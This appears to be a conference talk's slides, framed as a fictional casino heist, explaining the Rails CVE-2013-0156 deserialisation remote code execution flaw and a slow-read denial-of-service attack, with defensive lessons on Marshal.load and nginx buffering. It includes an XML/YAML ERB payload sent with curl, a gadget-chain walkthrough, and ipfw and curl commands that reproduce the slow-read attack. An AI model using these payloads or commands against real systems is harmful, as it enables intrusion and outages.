chendo's 11

A fictional heist story that covers the Rails 3.2.10 remote code execution exploit and the slow read DoS attack

Transcript

1. chendo’s 11 a fictional heist story based on a real event @charliesome and @chendo
2. Disclaimer All characters and companies appearing in this work are fictitious. Any resemblance to real persons or companies, living, dead, successful or bankrupt, is purely coincidental.
3. What we’re going to cover Remote code execution exploit in Rails (CVE-2013-0156) Slow Read DoS attack
4. Prelude A good friend went deep into debt due to Casino King On Line, an illegal gambling site Analysis of their poker games showed that the games were all rigged in favour of the house We decided to get his money back. And then some.
5. The Plan Steal from Casino King On Line ??? Profit! (after returning the money and then some to poor broke friend)
6. The More Detailed Plan Find a way into their systems Create a transaction that gives our account a bunch of money Force a withdrawal into a bank account Get away with it
7. The App Rails 3.2.10 SQLite Unicorn nginx New Relic
8. The Exploit Upon analysis of the Rails codebase after recent 3.2.10 patch, we found that it was possible to get the request handler to unserialise arbitrary YAML via the XML request parser.
9. How Rails parses Params When a request comes into Rails, there’s a middleware called ActionDispatch::Middleware::ParamsParser It uses the Content-Type header to determine how it should parse the request body Defaults to parsing JSON and XML via text/json and text/xml Content-Type headers.
10. ParamsParser The XML parsing of the request body is done by ActiveSupport::XmlMini It supports deserialising XML into Ruby classes via the type attribute.
11. Example Controller: class HomeController < ApplicationController def index render :text => params[:id].inspect end end payload.txt: <id type="yaml"> ---&#10; !ruby/object:ERB&#10; src: ! '`uname`'&#10; </id> $ curl -X GET http://some-rails-app.com/ \ -H “Content-Type: text/xml” -d @payload.txt #<ERB:0x007fd0ada7aff0 @src="`uname`">
12. Hooray! Rails is deserialising our ERB! But the code doesn’t get executed unless ERB#result or ERB#run is called. We need to somehow get the Rails stack to call ERB#result
13. Calling arbitrary methods YAML deserialisation checks for either a method called init_with or yaml_initialize on the class that it’s unserialising and calls that method if it exists Otherwise it sets the instance variables with instance_variable_set We found a class called ActiveSupport::Deprecation::DeprecatedI nstanceVariableProxy which was designed to emit a deprecation warning before forwarding the method to the original object
14. module ActiveSupport module Deprecation class DeprecationProxy instance_methods.each do |m| undef_method m unless m =~ /^__|^object_id$/ end def method_missing(called, *args, &block) warn caller, called, args target.__send__(called, *args, &block) end end class DeprecatedInstanceVariableProxy < DeprecationProxy def target @instance.__send__(@method) end end end end
15. module ActiveSupport module Deprecation class DeprecationProxy instance_methods.each do |m| undef_method m unless m =~ /^__|^object_id$/ end def method_missing(called, *args, &block) warn caller, called, args target.__send__(called, *args, &block) end end class DeprecatedInstanceVariableProxy < DeprecationProxy def target @instance.__send__(@method) end end end end
16. module ActiveSupport module Deprecation class DeprecationProxy instance_methods.each do |m| undef_method m unless m =~ /^__|^object_id$/ end def method_missing(called, *args, &block) warn caller, called, args target.__send__(called, *args, &block) end end class DeprecatedInstanceVariableProxy < DeprecationProxy def target @instance.__send__(@method) end end end end
17. Bingo We can now accept any arbitrary method call and forward it on to an object and method of our choosing ... ERB#result, anyone?
18. A Roadblock ActiveSupport::Deprecation::Deprecation Proxy undefines a bunch of methods including instance_variable_set Psych uses instance_variable_set when deserializing YAML into objects So we can’t create a DeprecatedInstanceVariableProxy from YAML :(
19. Marshal - a solution? Marshal is written in C, so it can deserialize DeprecatedInstanceVariableProxy, even though instance_variable_set is missing. If we can get arbitrary Marshal.load, we can trivially achieve remote code execution.
21. Marshal.load → RCE So? Be careful about your session secret Be careful when unmarshalling data Be careful when using gems that unmarshal data (hint: there are plenty!) Be shit scared of Marshal.load
22. Achieving Marshal.load We need to find some class that’s part of Rails by default that calls Marshal.load on any old data. This class also needs to be YAML deserializable. This is where Rack::Session::Abstract::SessionHash comes in. Since Rails depends on Rack, this class is loaded in every Rails app :) Let’s take a look
23. class Rack::Session::Abstract::SessionHash include Enumerable def each(&block) load_for_read! # ... end def has_key?(key) load_for_read! # ... end alias :key? :has_key? alias :include? :has_key? def load_for_read! load! if !loaded? && exists? end def load! @id, session = @by.send(:load_session, @env) end end
24. class Rack::Session::Abstract::SessionHash include Enumerable def each(&block) load_for_read! # ... end def has_key?(key) load_for_read! # ... end alias :key? :has_key? alias :include? :has_key? def load_for_read! load! if !loaded? && exists? end def load! @id, session = @by.send(:load_session, @env) end end Rack::Session::Cookie { “HTTP_COOKIE” => “a=<marshal payload>” }
25. class Rack::Session::Cookie def load_session(env) data = unpacked_cookie_data(env) # ... end def unpacked_cookie_data(env) request = Rack::Request.new(env) session_data = request.cookies[@key] if @secrets.size > 0 && session_data # verify HMAC digest on session cookie end coder.decode(session_data) || {} end end
26. class Rack::Session::Cookie def load_session(env) data = unpacked_cookie_data(env) # ... end def unpacked_cookie_data(env) request = Rack::Request.new(env) session_data = request.cookies[@key] if @secrets.size > 0 && session_data # verify HMAC digest on session cookie end coder.decode(session_data) || {} end end
27. class Rack::Session::Cookie def load_session(env) data = unpacked_cookie_data(env) # ... end def unpacked_cookie_data(env) request = Rack::Request.new(env) session_data = request.cookies[@key ] if @secrets.size > 0 && session_data # verify HMAC digest on session cookie end coder.decode(session_data) || {} end end “a” { “HTTP_COOKIE” => “a=<marshal payload>” } Rack::Session::Cookie::Base64::Marshal
28. We have Marshal.load. A call path exists from any Enumerable method to Marshal.load We control all the instance variables on the Rack session classes (we YAML’ed them after all) Therefore, we control the data being unmarshaled.
29. This is not good enough. We can get a Rack::Session::Abstract::SessionHash instance into params We can execute our own code when any Enumerable method is called. We can’t guarantee the user will call one of those methods. We’ve gotten this far, surely we can finish it off with an automatic RCE?
30. Gem::Requirement Psych will call either #init_with or #yaml_initialize on newly deserialized objects. Gem::Requirement defines both. We need to find a call path from Gem::Requirement#yaml_initialize to an Enumerable method.
31. class Gem::Requirement def yaml_initialize(tag, vals) vals.each do |ivar, val| instance_variable_set “@#{ivar}”, val end Gem.load_yaml fix_syck_default_key_in_requirements end def fix_syck_default_key_in_requirements Gem.load_yaml @requirements.each do |r| # ... end end end
32. class Gem::Requirement def yaml_initialize(tag, vals) vals.each do |ivar, val| instance_variable_set “@#{ivar}”, val end Gem.load_yaml fix_syck_default_key_in_requirements end def fix_syck_default_key_in_requirements Gem.load_yaml @requirements.each do |r| # ... end end end Rack::Session::Abstract::SessionHash pwned
33. Demonstration
34. Reconnaissance Use RCE to gain shell access Check out system, copy the code Discovered app does not buffer requests due to Comet
35. Problems CKOL have staff monitoring the operation of the site The system flags transactions over a certain amount Need to find a way to dry clean the money
36. Solutions We create a distraction with a slow read attack against the application We use the remote code execution exploit to prevent our withdrawal from being flagged for a high amount We hire Walter, amateur money launderer, third and final of the team The ’11’ in chendo’s 11 is in binary
37. Day of the Heist Casino King On Line Headquarters
38. All Systems Normal For now.
39. Situation Normal
40. All of a sudden It all goes horribly wrong.
41. Symptoms Users report that site is not loading Own tests show that some requests do go through but most end up timing out Availability monitoring says the site is yo-yoing (going down and up repeatedly)
42. New Relic
43. Attempts to fix the problem Restarting Unicorn does not fix the issue Reports show no IP is doing significantly more requests than the usual
44. A clue
45. Acting on a hunch Something must be causing the unicorn workers to be killed off for timing out, but no slow requests are showing up. Let’s log the IP and timestamp into the process name.
46. The Culprit Unicorn worker not taking new requests!
47. Packet Analysis We want to see what the attacker is doing. Blocking the IP won’t get far. Let’s capture some packets. tcpdump -i eth0 host <IP> and port 80 - w ~/attack.dump SCP to local machine
48. Wireshark http://www.wireshark.org/ Network protocol analyzer Free!
49. TCP Setup Request Response (Attempt)
50. TCP: A super-quick overview It powers the tubes.
51. Transmission Control Protocol Optimised for accurate delivery of data Breaks data into smaller packets Packets get sent across the internets Sent packets must be ACKnowledged by the receiver before it’s considered sent. Think registered mail.
52. What’s happening Attack makes a request for a page Server does its thing and tries to send back data Attacker’s network stack has fingers in its ears going “LALALALALALALALALA” and doesn’t respond Server retries sending the packets until connection times out
53. So what? How does this affect our unicorns?
54. IO, Blocking, and You In IO, every read or write operation needs to go somewhere mkfifo pipe; echo “hello” > pipe # Blocks cat pipe # Unblocks echo call because the data can go somewhere
55. Buffers Temporary data store Heavily used in IO Useful when the speed at which data comes in does not match the speed that data gets processed
57. TCP Buffers Without TCP buffers, writing any data to a socket would block until the client reads from their end of the socket TCP buffers act as a staging area so your application doesn’t block when it writes (unless its full) Only gets drained when client sends an ACKnowledgement that it has received the data Used for retransmitting dropped packets
58. A Buffered Request Client Nginx Unicorn Nginx buffers the request payload until it’s complete Read Buffer Write Buffer Read Buffer Write Buffer Read Buffer Write Buffer When complete, Nginx sends the request to unicorn Once request has been completed, the response is sent back to Nginx Nginx sends response back to the client
59. TCP Setup Request Response (Attempt)
60. A Buffered Request Client Nginx Unicorn Nginx buffers the request payload until it’s complete Read Buffer Write Buffer Read Buffer Write Buffer Read Buffer Write Buffer When complete, Nginx sends the request to unicorn Nginx’s read buffer fills and Unicorn’s response gets blocked and stalls. Soon gets killed by master Nginx tries to send response to client but no ACKs means write buffer doesn’t drain
61. Nginx Configuration proxy_buffers: 8 * 4K/8K buffers (depending on platform) = 32K/64K - upstream traffic read into this proxy_max_temp_file_size: 1024MB - upstream traffic written to disk if it doesn’t fit in memory buffers You’re probably safe. Unless turned proxy_buffering off for streaming requests/Comet/etc...
62. A Streaming Request Client Nginx Unicorn Nginx buffers the request payload until it’s complete Read Buffer Read Buffer Write Buffer When complete, Nginx sends the request to unicorn The response data is streamed back to the client; Nginx does not buffer
63. Back at Casino King On Line proxy_buffering was turned off to use Comet for games/etc Quick fix was to only disable buffering for the Comet URIs only Tired admins go home for the day Only to find out the next day that it was a distraction for a heist.
64. Duplicating the Attack: Setup Prevent response packets from reaching our TCP stack: sudo ipfw add deny tcp from <target IP> 80 to me iplen 300-2000 Prevent our stack from telling server that we’ve closed the connection: sudo ipfw add deny tcp from me to <target IP> 80 tcpflags fin sudo ipfw add deny tcp from me to <target IP> 80 tcpflags rst
65. Duplicating the Attack: Execution watch --interval 5 "curl -m 1 <URL that has a response greater than buffer size> > /dev/null"
66. Alternatively slowhttptest - http://code.google.com/p/slowhttptest/ Didn’t seem to work well for us Did not have slow read support when we encountered attack
67. The End